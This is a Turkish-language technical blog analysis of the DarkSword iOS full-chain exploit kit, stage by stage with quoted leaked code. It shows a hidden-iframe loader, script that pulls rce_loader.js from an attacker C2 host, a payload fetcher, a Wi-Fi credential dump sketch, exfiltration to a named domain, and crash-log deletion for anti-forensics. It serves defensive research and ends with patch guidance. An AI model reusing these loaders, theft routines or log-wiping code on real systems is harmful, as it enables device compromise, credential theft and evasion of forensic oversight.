August 10, 2026
DarkSword iOS Exploit Kit: Kaynak Kodlarıyla Adım Adım Teknik Analiz
Bu yazımda iOS 18.4-18.7 sürümlerini hedef alan ve Mart 2026'da kamuoyuna duyurulan DarkSword istismar zincirini, GitHub’a sızdırılan…

By Akıner Kısa
9 min read
Bu yazımda iOS 18.4-18.7 sürümlerini hedef alan ve Mart 2026'da kamuoyuna duyurulan DarkSword istismar zincirini, GitHub'a sızdırılan gerçek kaynak kodları, kamuya açık teknik analizler ve mekanizmayı açıklamak amacıyla sadeleştirilmiş kavramsal örnekler üzerinden inceleyeceğim. Genel bir CVE özeti yerine zincirin her aşamasının işlevini, kullanılan exploit primitiflerini ve bunların birbirine nasıl bağlandığını ele alacağım. Yeniden üretilebilir tam exploit zinciri oluşturabilecek bazı operasyonel ayrıntılar bilinçli olarak soyutlanmıştır.
DarkSword Nedir?
Google Threat Intelligence Group (GTIG), Lookout ve iVerify tarafından 18 Mart 2026'da koordineli olarak açıklanan DarkSword, savunmasız bir iOS cihazında web tabanlı başlangıç noktasından kernel ayrıcalıklarına kadar ilerleyebilen JavaScript tabanlı bir full-chain exploit kitidir. Zincir altı farklı CVE kullanır; bunların üçü saldırılarda zero-day olarak istismar edilmiştir.
DarkSword'un dikkat çekici özelliklerinden biri, exploit aşamalarının ve gözlemlenen final payload'ların Mach-O binary'ler(derlenmiş çalıştırılabilir dosyaların ve kütüphanelerin formatı) yerine JavaScript ile gerçekleştirilmesidir. Bu mimari, exploit geliştiricilerinin JavaScript ile native API ve IPC mekanizmaları arasında kendi abstraction katmanlarını kurmasını gerektirirken, iOS'ta unsigned binary execution'ı engelleyen PPL/SPTM gibi bazı mitigasyonları ayrıca aşma ihtiyacını ortadan kaldırır.
Sızdırılan asıl kaynak htimesnine/DarkSword-RCE reposudur — 11 dosya, yaklaşık 2.2MB JavaScript, in-the-wild yakalanan orijinal exploit. Kernel exploit ayrıca opa334/darksword-kexploit reposunda Objective-C'ye reimplemente edilmiştir (iOS 15–26.0.1).
Zafiyetler özetle şunlardır:
- CVE-2025–31277 / CVE-2025–43529 — JavaScriptCore JIT bellek bozulması (RCE)
- CVE-2026–20700 — dyld Pointer Authentication Code (PAC) bypass
- CVE-2025–14174 — ANGLE grafik kütüphanesi OOB yazma (sandbox escape)
- CVE-2025–43510 — XNU kernel Copy-on-Write hatası (mediaplaybackd)
- CVE-2025–43520 — XNU VFS yarış durumu (kernel privilege escalation)
Aşama 0: Teslimat Ekosistemi — Zimbra XSS ve Web Tabanlı Yönlendirme
Metodoloji notu:_ Teslimat aşamasındaki bazı kampanya ilişkileri, operasyonel ayrıntıları tam ve yeniden üretilebilir bir saldırı zinciri halinde sunmamak amacıyla soyutlanmıştır. Aktör, altyapı ve exploit kullanım ilişkileri yalnızca açık kaynaklarda doğrulanabildiği ölçüde gösterilmektedir; aşağıdaki bölüm tek bir uçtan uca operasyon zincirinin birebir rekonstrüksiyonu olarak değerlendirilmemelidir._
Operation GhostMail kapsamında kullanılan Zimbra zafiyeti, CSS @import direktiflerinin HTML içeriğinde yetersiz şekilde sanitize edilmesinden kaynaklanır. Saldırgan, kurbanın e-posta gövdesine obfuscate edilmiş JavaScript yerleştirir; kurban e-postayı açtığında kod mevcut web oturumu bağlamında çalışır. Gözlemlenen yükleyici aşamalarından birinde payload, Base64 kodlamasının ardından twichcba5e sabit anahtarı kullanılarak gerçekleştirilen XOR işlemiyle çözülmektedir.
Kaynak: Seqrite Labs — Operation GhostMail (17 Mart 2026) | The Hacker News — CISA Warns of Zimbra Flaw CVE-2025–66376
Aşama 1: Yükleyici — rce_loader.js
Kurban DarkSword teslimat altyapısına ulaştığında landing page ve frame.html aşamalarının ardından ana exploit yükleyicisi rce_loader.js devreye girer. Loader gerekli başlangıç kontrollerini gerçekleştirir ve hedef iOS sürümüne uygun RCE modülünü sunucudan çeker.
1.1 index.html — Görünmez iframe Tuzağı
Kurbanın ziyaret ettiği sayfa index.html'dir (689B). sessionStorage içindeki uid anahtarını kontrol ederek aynı tarayıcı oturumunda exploit teslimatının daha önce başlatılıp başlatılmadığını değerlendirir ve uygun durumda görünmez bir iframe oluşturarak bir sonraki aşamayı yükler:
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.width = '1px';
frame.style.opacity = '0.01';
frame.style.position = 'absolute';
frame.style.left = '-9999px';
frame.style.height = '1px';
frame.style.border = 'none';
document.body.appendChild(frame);sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.width = '1px';
frame.style.opacity = '0.01';
frame.style.position = 'absolute';
frame.style.left = '-9999px';
frame.style.height = '1px';
frame.style.border = 'none';
document.body.appendChild(frame);Math.random() ile önbellekleme engellenir. iframe, sayfanın sol dışına taşınmış (−9999px) ve opaklığı 0.01'e düşürülmüştür — klasik DOM gizleme.
Kaynak: htimesnine/DarkSword-RCE — index.html (ITW yakalanan dosya)
1.2 frame.html — C2'den Yükleyici Çağırma
frame.html yalnızca bir işlev görür: ana exploit yükleyicisi rce_loader.js dosyasını uzaktaki DarkSword teslimat altyapısından dinamik olarak sayfaya enjekte etmek.
<script type="text/javascript">
document.write('<script defer="defer"
src="https://static.cdncounter.net/assets/rce_loader.js?'
+ Date.now() + '"><\/script>');
</script><script type="text/javascript">
document.write('<script defer="defer"
src="https://static.cdncounter.net/assets/rce_loader.js?'
+ Date.now() + '"><\/script>');
</script>static.cdncounter.net GTIG tarafından UNC6353 ile ilişkilendirilen C2 altyapı adresidir. Date.now() ile tüm önbellekleme mekanizmaları devre dışı bırakılır.
Kaynak: htimesnine/DarkSword-RCE — frame.html (ITW yakalanan dosya)
1.3 Oturum Kontrolü ve Exploit Teslimat Kararı
DarkSword'un farklı kampanya varyantlarında uid anahtarının kullanımı değişiklik göstermektedir. Aşağıdaki kontrol, aynı oturum içinde exploit teslimatının tekrarlanmasını sınırlamak ve hedef koşulları karşılamayan kullanıcıları başka bir sayfaya yönlendirmek için kullanılan mantığın örneklerinden biridir::
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}Kaynak: htimesnine/DarkSword-RCE — rce_loader.js
1.4 Safari'ye Zorla Yönlendirme
UNC6748'in gözlemlenen teslimat varyantlarından birinde Chrome üzerinden gelen hedeflerin exploit zincirini Safari içinde açması için x-safari-https:// protokol işleyicisi kullanılmıştır. Bu davranış, aktörün o dönemde Chrome için ayrı bir exploit zincirine sahip olmadığını düşündürmektedir:
if (typeof browser !== "undefined" || !isIphone()) {
console.log("");
} else {
location.href = "x-safari-https://snapshare.chat/<redacted>";
}if (typeof browser !== "undefined" || !isIphone()) {
console.log("");
} else {
location.href = "x-safari-https://snapshare.chat/<redacted>";
}snapshare.chat altyapısı GTIG tarafından UNC6748 tehdit aktörüne atfedilmiştir.
Kaynak: htimesnine/DarkSword-RCE — rce_loader.js | Google GTIG (18 Mart 2026)
1.5 C2'den Exploit Çekme
Senkron XMLHttpRequest ile exploit dosyası C2'den indirilir; sayfa exploit yüklenene kadar bekletilir:
function getJS(fname, method = 'GET') {
try {
url = fname;
print(`trying to fetch ${method} from: ${url}`);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}`, false);
xhr.send(null);
return xhr.responseText;
} catch(e) {
print("got error in getJS: " + e);
}
}function getJS(fname, method = 'GET') {
try {
url = fname;
print(`trying to fetch ${method} from: ${url}`);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}`, false);
xhr.send(null);
return xhr.responseText;
} catch(e) {
print("got error in getJS: " + e);
}
}Kaynak: htimesnine/DarkSword-RCE — rce_loader.js
1.6 Sürüme Göre Exploit Seçimi ve Web Worker Başlatma
Farklı iOS/WebKit sürümleri farklı bellek düzenleri ve exploit gereksinimleri taşıdığı için DarkSword sürüme göre farklı RCE worker'ları kullanır. Gözlemlenen varyantlarda rce_worker_18.4.js, rce_worker_18.6.js ve daha sonra eklenen rce_worker_18.7.js gibi sürüme özgü modüller bulunmaktadır.
let workerCode = "";
if (ios_version === '18.6' || ios_version === '18.6.1' || ios_version === '18.6.2') {
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
} else {
workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`);
}
let workerBlob = new Blob([workerCode], {type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
let exploitWorker = new Worker(workerBlobUrl);let workerCode = "";
if (ios_version === '18.6' || ios_version === '18.6.1' || ios_version === '18.6.2') {
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
} else {
workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`);
}
let workerBlob = new Blob([workerCode], {type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
let exploitWorker = new Worker(workerBlobUrl);Kaynak: htimesnine/DarkSword-RCE — rce_loader.js | 8kSec (19 Nisan 2026)
Aşama 2: WebKit RCE-CVE-2025–43529
Saldırının browser-RCE açısından kritik aşamalarından biri burasıdır. CVE-2025–43529, JavaScriptCore'un Data Flow Graph (DFG) JIT katmanındaki garbage-collection davranışıyla ilişkili bir memory corruption zafiyetidir. Eksik veya hatalı barrier yönetimi sonucunda GC'nin canlı heap referanslarını yanlış değerlendirebildiği bir durum oluşturularak exploit edilebilir bir Use-After-Free benzeri primitive geliştirilebilir.
2.1 JIT UAF PoC
⚠️ Aşağıdaki fonksiyon, 8kSec ve Google GTIG'in CVE-2025–43529 analizlerine dayanan kavramsal bir temsil. Sızdırılan rce_worker'ın kendisi değil; mekanizmayı göstermek için sadeleştirilmiş.
let A = { p0: 0x41414141 };
function jitme(flag) {
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
f = b;
} else {
f = 1.1;
}
// WriteBarrier eksik olduğu için GC 'b' nesnesini
// hatalı biçimde serbest bırakabilir
A.p0 = f;
b.p0 = a; // UAF: b bu noktada zaten serbest bırakılmış olabilir
}let A = { p0: 0x41414141 };
function jitme(flag) {
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
f = b;
} else {
f = 1.1;
}
// WriteBarrier eksik olduğu için GC 'b' nesnesini
// hatalı biçimde serbest bırakabilir
A.p0 = f;
b.p0 = a; // UAF: b bu noktada zaten serbest bırakılmış olabilir
}Basitleştirilmiş modelde JIT tarafından üretilen kod ile GC'nin referans takibi arasındaki tutarsızlık, hâlâ erişilebilir olması gereken bir heap nesnesinin collect edilebilir olarak değerlendirilmesine yol açabilir. DarkSword exploit'i bu corruption durumundan addrof ve fakeobj gibi temel exploit primitifleri geliştirir ve bunların üzerine arbitrary read/write yeteneği inşa eder.
Kaynak: Google GTIG | 8kSec — DarkSword CVE-2025–43529
2.2 OOB Dizi Manipülasyonu
Sızdırılan rce_worker.js'den bir satır. Saldırganın kendi yorumu production kodunun içinde yorum olarak bırakılmış:
// "now we should have a victim with a nice length"
the_oob_object.splice(30, 0, 1, 2, 3, 4, 5, 6, 7);// "now we should have a victim with a nice length"
the_oob_object.splice(30, 0, 1, 2, 3, 4, 5, 6, 7);Bu noktada splice() çağrısı zafiyetin kendisi değildir; önceki memory-corruption aşamalarında hazırlanmış victim object'in bozulmuş state'inden yararlanarak OOB erişim primitive'inin geliştirilmesinde kullanılan adımlardan biridir. Sızdırılan koddaki yorum, geliştiricinin bu aşamada kontrollü biçimde genişletilmiş bir victim length elde etmeyi beklediğini göstermektedir.
Kaynak: htimesnine/DarkSword-RCE — rce_worker.js | Jamf Threat Labs (22 Nisan 2026)
Aşama 3: Sandbox ve PAC Atlatma
RCE'nin ardından saldırgan hâlâ Safari'nin WebContent korumalı alanı içindedir. GTIG'in ifadesiyle: "DarkSword uses two separate sandbox escape vulnerabilities, first by pivoting out of the WebContent sandbox into the GPU process, and then by pivoting from the GPU process to mediaplaybackd."
Adım 1 — WebContent → GPU süreci: CVE-2025–14174 (ANGLE OOB yazma, sbx0_main_18.4.js, 424KB) ile GPU sürecine geçilir.
Adım 2 — dyld PAC bypass (CVE-2026–20700): RCE exploit'leri CVE-2026–20700'ü dyld içindeki user-mode Pointer Authentication Code (PAC) korumasını aşmak için zincire ekler. Bu aşama, önceki memory-corruption primitiflerinin kontrollü native code execution ve function-call primitive'lerine dönüştürülmesini mümkün kılar; sonraki sandbox-escape modülleri de bu yürütme yeteneğinin üzerine inşa edilir.
Kaynak: Google GTIG | iVerify — Inside DarkSword
Aşama 4: Kernel'e İniş: pe_main.js
pe_main.js (778KB) ayrıcalık yükseltme modülüdür. Sızdırılan kaynak kodunda geliştiricinin test sürecinde unuttuğu bir debug fonksiyonu aynen kalmıştır:
function kdump(where, size, msg = "") {
LOG(`[+] ----------- ${msg} ----------`);
for (let i = 0n; i < size; i += 0x10n) {
LOG(`[+][${i.hex()}] ${(where + i).hex()}:\t` +
`${early_kread64(where + i).hex()} ` +
`${early_kread64(where + i + 8n).hex()}`);
}
}function kdump(where, size, msg = "") {
LOG(`[+] ----------- ${msg} ----------`);
for (let i = 0n; i < size; i += 0x10n) {
LOG(`[+][${i.hex()}] ${(where + i).hex()}:\t` +
`${early_kread64(where + i).hex()} ` +
`${early_kread64(where + i + 8n).hex()}`);
}
}early_kread64, privilege-escalation aşaması sırasında geliştirilen erken kernel-read yeteneklerinden birini soyutlayan yardımcı fonksiyonlardan biridir. kdump() gibi debug yardımcılarının production exploit içinde bulunması, exploit geliştirme sürecinin yoğun biçimde telemetry ve ara bellek durumlarının doğrulanmasına dayandığını göstermektedir.
Kaynak: htimesnine/DarkSword-RCE — pe_main.js | Jamf Threat Labs
CVE-2025–43510 — XNU Copy-on-Write Memory Management Hatası
⚠️ Zafiyet mekanizması GTIG ve 8kSec tarafından belgelenmiştir. Aşağıdaki kod bu mekanizmanın kavramsal temsili; sızdırılan sbx1_main.js (317KB) birebir değil.
GPU process kontrolünün ardından DarkSword, CVE-2025–43510'daki XNU Copy-on-Write memory-management hatasını kullanarak mediaplaybackd içinde arbitrary function-call primitive geliştiren ikinci sandbox-escape aşamasına geçer. Bu süreçte kullanılan IOKit/driver etkileşimlerinin tamamı aşağıdaki örnekte bilinçli olarak soyutlanmıştır:
// Kavramsal temsil: CVE-2025-43510 exploit path'i
let conn = libs_Chain_Native.callSymbol(
"IOServiceOpen", "AppleM2ScalerCSCDriver");
libs_Chain_Native.callSymbol(
"IOConnectCallMethod", conn, 1, input_args, output_args);// Kavramsal temsil: CVE-2025-43510 exploit path'i
let conn = libs_Chain_Native.callSymbol(
"IOServiceOpen", "AppleM2ScalerCSCDriver");
libs_Chain_Native.callSymbol(
"IOConnectCallMethod", conn, 1, input_args, output_args);mediaplaybackd GPU sürecinden çok daha geniş dosya sistemi ve IPC erişimine sahiptir. Kernel exploit ayrıca opa334/darksword-kexploit tarafından Objective-C'ye reimplemente edilmiştir (iOS 15–26.0.1 desteği).
Kaynak: Google GTIG | opa334/darksword-kexploit | 8kSec
CVE-2025–43520 — XNU VFS Yarış Durumu
⚠️
libs_TaskRop_Taskgerçek bir sınıf adı olmakla birlikte aşağıdakitrigger_vfs_racefonksiyonu kavramsal bir temsil. GTIG, iVerify ve Jamf tarafından belgelenen TOCTOU mekanizmasını gösterir.
function trigger_vfs_race() {
let t1 = new libs_TaskRop_Task();
t1.execute_async(allocate_vfs_resource);
let t2 = new libs_TaskRop_Task();
t2.execute_async(manipulate_unlocked_resource);
}function trigger_vfs_race() {
let t1 = new libs_TaskRop_Task();
t1.execute_async(allocate_vfs_resource);
let t2 = new libs_TaskRop_Task();
t2.execute_async(manipulate_unlocked_resource);
}CVE-2025–43520, XNU'nun VFS implementasyonundaki kernel-mode race condition'dır. DarkSword'un pe_main.js modülü bu yarış durumunu exploit ederek sonraki privilege-escalation işlemlerinin temelini oluşturan fiziksel ve sanal kernel memory read/write primitiflerini geliştirir. Yukarıdaki iki-thread örneği gerçek trigger'ın birebir implementasyonu değil, race-condition mantığını göstermek amacıyla sadeleştirilmiştir. 8kSec'in ifadesiyle: "At that point the game is over."
Kaynak: Google GTIG | opa334/darksword-kexploit
Aşama 5: Payload — GHOSTBLADE ve GHOSTKNIFE
Başarılı full-chain exploitation ve privilege escalation sonrasında DarkSword operatörlerinin üç farklı final-stage payload ailesi kullandığı gözlemlenmiştir: veri toplama odaklı GHOSTBLADE, daha geniş post-exploitation yetenekleri sunan GHOSTKNIFE ve GHOSTSABER.
Process Tree
Açık kaynak analizleri ve sızdırılan kodda görülen bileşenler temel alınarak özetlenen yüksek seviyeli saldırı akışı:
Not: Aşağıdaki ağaç, exploit zincirinin mimari ilişkilerini göstermek amacıyla sadeleştirilmiştir; tam operasyonel execution order veya yeniden üretilebilir exploit akışı olarak değerlendirilmemelidir.
com.apple.mobilesafari
+-- com.apple.WebKit.WebContent <- CVE-2025-43529 RCE
| +-- JIT UAF -> addrof/fakeobj -> ARW
| +-- CVE-2026-20700: PAC bypass via dyld
+-- com.apple.WebKit.GPU <- CVE-2025-14174 sandbox escape
| +-- WebGPU OOB -> GPU process control
| +-- IOServiceOpen -> M2ScalerCSCDriver
+-- mediaplaybackd <- CVE-2025-43510 CoW bug
+-- Broad filesystem + IPC + networking
+-- CVE-2025-43520: VFS TOCTOU race
+-- kernel RW primitives
+-- task_for_pid(SpringBoard)
+-- thread_create_running -> inject
+-- com.apple.SpringBoard
+-- MigFilterBypass (iOS 18.4+)
+-- 23 harvester modules (parallel)
+-- wifid + securityd + keychain
+-- HTTPS POST -> sqwas.shapelie.com
+-- cleanLogs() + deleteCrashReports()com.apple.mobilesafari
+-- com.apple.WebKit.WebContent <- CVE-2025-43529 RCE
| +-- JIT UAF -> addrof/fakeobj -> ARW
| +-- CVE-2026-20700: PAC bypass via dyld
+-- com.apple.WebKit.GPU <- CVE-2025-14174 sandbox escape
| +-- WebGPU OOB -> GPU process control
| +-- IOServiceOpen -> M2ScalerCSCDriver
+-- mediaplaybackd <- CVE-2025-43510 CoW bug
+-- Broad filesystem + IPC + networking
+-- CVE-2025-43520: VFS TOCTOU race
+-- kernel RW primitives
+-- task_for_pid(SpringBoard)
+-- thread_create_running -> inject
+-- com.apple.SpringBoard
+-- MigFilterBypass (iOS 18.4+)
+-- 23 harvester modules (parallel)
+-- wifid + securityd + keychain
+-- HTTPS POST -> sqwas.shapelie.com
+-- cleanLogs() + deleteCrashReports()Kaynak: iVerify — Inside DarkSword
MIG/XPC Autobox Bypass
⚠️ Sınıf adı (
MigFilterBypass), versiyon kontrolü ve Webpack modül referansları (__WEBPACK_IMPORTED_MODULE_0__tarzı) gerçek sızdırılan koddan alınmıştır. Aşağıdaki bütünlük bir sentez.
const targetProcess = "SpringBoard";
function start() {
let mutexPtr = null;
let migFilterBypass = null;
globalThis.xnuVersion = xnuVersion();
let ver = globalThis.xnuVersion;
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]
.callSymbol("malloc", 0x100));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]
.callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
}const targetProcess = "SpringBoard";
function start() {
let mutexPtr = null;
let migFilterBypass = null;
globalThis.xnuVersion = xnuVersion();
let ver = globalThis.xnuVersion;
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]
.callSymbol("malloc", 0x100));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]
.callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
}Kaynak: htimesnine/DarkSword-RCE — pe_main.js içindeki Webpack bundle
WiFi Parola Dökümü
⚠️ DarkSword-WIFI-DUMP etiketi ve Wi-Fi credential collection yeteneği gerçek gözlemlere dayanmaktadır. Aşağıdaki fonksiyon ise veri akışını göstermek amacıyla sadeleştirilmiş kavramsal bir temsildir.
const TAG = "DarkSword-WIFI-DUMP";
function dumpWiFi() {
let wifi_credentials = extract_from_wifid();
let dump_path = `/tmp/${global_uuid}.1/DATA/wifi_passwords.txt`;
libs_JSUtils_FileUtils.writeFile(dump_path, wifi_credentials);
}const TAG = "DarkSword-WIFI-DUMP";
function dumpWiFi() {
let wifi_credentials = extract_from_wifid();
let dump_path = `/tmp/${global_uuid}.1/DATA/wifi_passwords.txt`;
libs_JSUtils_FileUtils.writeFile(dump_path, wifi_credentials);
}Payload, wifid ve ilgili sistem servislerinden yararlanarak cihazda erişilebilir durumdaki kayıtlı Wi-Fi credential verilerini toplamayı hedefler. Aynı mekanizma securityd üzerinden Keychain ve iCloud verilerini 777 izniyle kopyalamak için de kullanılır. Hedeflenen diğer kategoriler: iMessages/SMS, arama geçmişi, kişiler, Safari çerezleri, konum verisi, fotoğraflar, iCloud Drive, Notes, Takvim, Sağlık, kripto cüzdanları (Coinbase, Binance, MetaMask, Ledger, Trust Wallet).
Kaynak: htimesnine/DarkSword-RCE | Malwarebytes (19 Mart 2026) | FortiGuard Labs
İz Silme — cleanLogs ve deleteCrashReports
Saldırı tamamlandığında crash reporter log dosyaları anında silinir:
// GHOSTKNIFE — cleanLogs
function cleanLogs() {
let files = MyHelper.getContentsOfDir(
"/var/mobile/Library/Logs/CrashReporter/");
for (let file of files) {
if (file.includes("mediaplaybackd") ||
file.includes("SpringBoard") ||
file.includes("com.apple.WebKit.") ||
file.includes("panic-full-")) {
MyHelper.deleteFileAtPath(file);
}
}
}
// GHOSTBLADE — deleteCrashReports
function deleteCrashReports() {
this.getTokenForPath(
"/private/var/containers/Shared/SystemGroup/" +
"systemgroup.com.apple.osanalytics/DiagnosticReports/",
true);
libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"]
.deleteDir(
"/private/var/containers/Shared/SystemGroup/" +
"systemgroup.com.apple.osanalytics/DiagnosticReports/",
true);
}// GHOSTKNIFE — cleanLogs
function cleanLogs() {
let files = MyHelper.getContentsOfDir(
"/var/mobile/Library/Logs/CrashReporter/");
for (let file of files) {
if (file.includes("mediaplaybackd") ||
file.includes("SpringBoard") ||
file.includes("com.apple.WebKit.") ||
file.includes("panic-full-")) {
MyHelper.deleteFileAtPath(file);
}
}
}
// GHOSTBLADE — deleteCrashReports
function deleteCrashReports() {
this.getTokenForPath(
"/private/var/containers/Shared/SystemGroup/" +
"systemgroup.com.apple.osanalytics/DiagnosticReports/",
true);
libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"]
.deleteDir(
"/private/var/containers/Shared/SystemGroup/" +
"systemgroup.com.apple.osanalytics/DiagnosticReports/",
true);
}Kaynak: htimesnine/DarkSword-RCE | Jamf Threat Labs | Malwarebytes
Yama ve Savunma
- CVE-2025–31277 — JavaScriptCore → iOS 18.6
- CVE-2025–43529 — JavaScriptCore → iOS 18.7.3 / 26.2
- CVE-2025–14174 — ANGLE → iOS 18.7.3 / 26.2
- CVE-2025–43510 — XNU memory management → iOS 18.7.2 / 26.1
- CVE-2025–43520 — XNU VFS → iOS 18.7.2 / 26.1
- CVE-2026–20700 — dyld PAC bypass → iOS 26.3
CISA, CVE-2025–31277, CVE-2025–43510 ve CVE-2025–43520'yi KEV (Bilinen İstismar Edilen Zafiyetler) kataloğuna eklemiş; federal kurumlar için 3 Nisan 2026 tarihine kadar yama zorunluluğu getirmiştir.
iOS 26.3 veya 18.7.3'e güncelleyemeyen yüksek risk profilli kullanıcılar için Kilitli Mod (Lockdown Mode) kritik bir önlem olarak öne çıkıyor. Lockdown Mode, DarkSword gibi yüksek karmaşıklıktaki web tabanlı exploit zincirlerinin ihtiyaç duyduğu saldırı yüzeyini önemli ölçüde daraltır ve Apple tarafından güncellemenin mümkün olmadığı yüksek riskli kullanıcılar için ek koruma olarak önerilmektedir. Ayarlar → Gizlilik ve Güvenlik → Kilitli Mod yolundan aktif edilebilir.
Kaynak: BleepingComputer — CISA orders feds to patch DarkSword (23 Mart 2026) | Malwarebytes
Sonuç
DarkSword'u teknik açıdan dikkat çekici kılan özelliklerden biri exploit zincirinin ve gözlemlenen final-stage payload'ların JavaScript üzerine kurulmuş olmasıdır. DarkSword geliştiricileri bunun için raw memory erişimi, native function çağrıları, IPC ve dosya sistemi işlemleri gibi normalde native exploit kodunda karşılaşılabilecek yetenekleri JavaScript abstraction'ları olarak yeniden oluşturmuştur. Bu tasarım, özellikle modern iOS mitigasyonları altında exploit-chain mühendisliğinin ulaştığı olgunluğu göstermektedir. İkinci önemli nokta kaynak kodunun kamuya sızmış olmasıdır. Production-grade bir iOS exploit framework'ünün bu ayrıntı düzeyinde incelenebilir hale gelmesi, normalde ticari gözetim sağlayıcıları ve gelişmiş tehdit aktörleriyle ilişkilendirilen exploit mühendisliği tekniklerinin çok daha geniş bir araştırmacı kitlesi tarafından analiz edilebilmesini sağlıyor. Aynı durum, çalışan exploit kodunun yeniden kullanım ve türetilme riskini de doğal olarak artırıyor.
Jamf Threat Labs'ın ifadesiyle: "The leaked code clearly reveals some facts and risks which are well known in spyware development industry but usually are not discussed publicly."
Bu analizde amaç DarkSword'u yeniden üretilebilir bir saldırı kılavuzuna dönüştürmek değil, gerçek bir production exploit chain'in mimarisini ve kullanılan güvenlik açığı sınıflarını incelemektir. Bu nedenle güvenilir exploitation için gerekli heap-layout ayrıntıları, firmware/device-specific offset'ler, tam trigger koşulları ve bazı exploit-chain bağlantıları bilinçli olarak kapsam dışında bırakılmış veya soyutlanmıştır.
Kaynaklar
- htimesnine/DarkSword-RCE — ITW yakalanan orijinal WebKit exploit sızıntısı
- opa334/darksword-kexploit — Kernel exploit Objective-C reimplementasyonu (iOS 15–26.0.1)
- Google GTIG — The Proliferation of DarkSword (18 Mart 2026)
- iVerify — Inside DarkSword (18 Mart 2026)
- Jamf Threat Labs — DarkSword: Three Lessons for Mobile Security (22 Nisan 2026)
- 8kSec — How Browser Exploits Work: CVE-2025–43529 (19 Nisan 2026)
- Seqrite Labs — Operation GhostMail (17 Mart 2026)
- Malwarebytes — A DarkSword hangs over unpatched iPhones (19 Mart 2026)
- FortiGuard Labs — DarkSword iOS Exploit Chain (26 Mart 2026)
- BleepingComputer — CISA orders feds to patch DarkSword (23 Mart 2026)
- Lookout — Attackers Wielding DarkSword Threaten iOS Users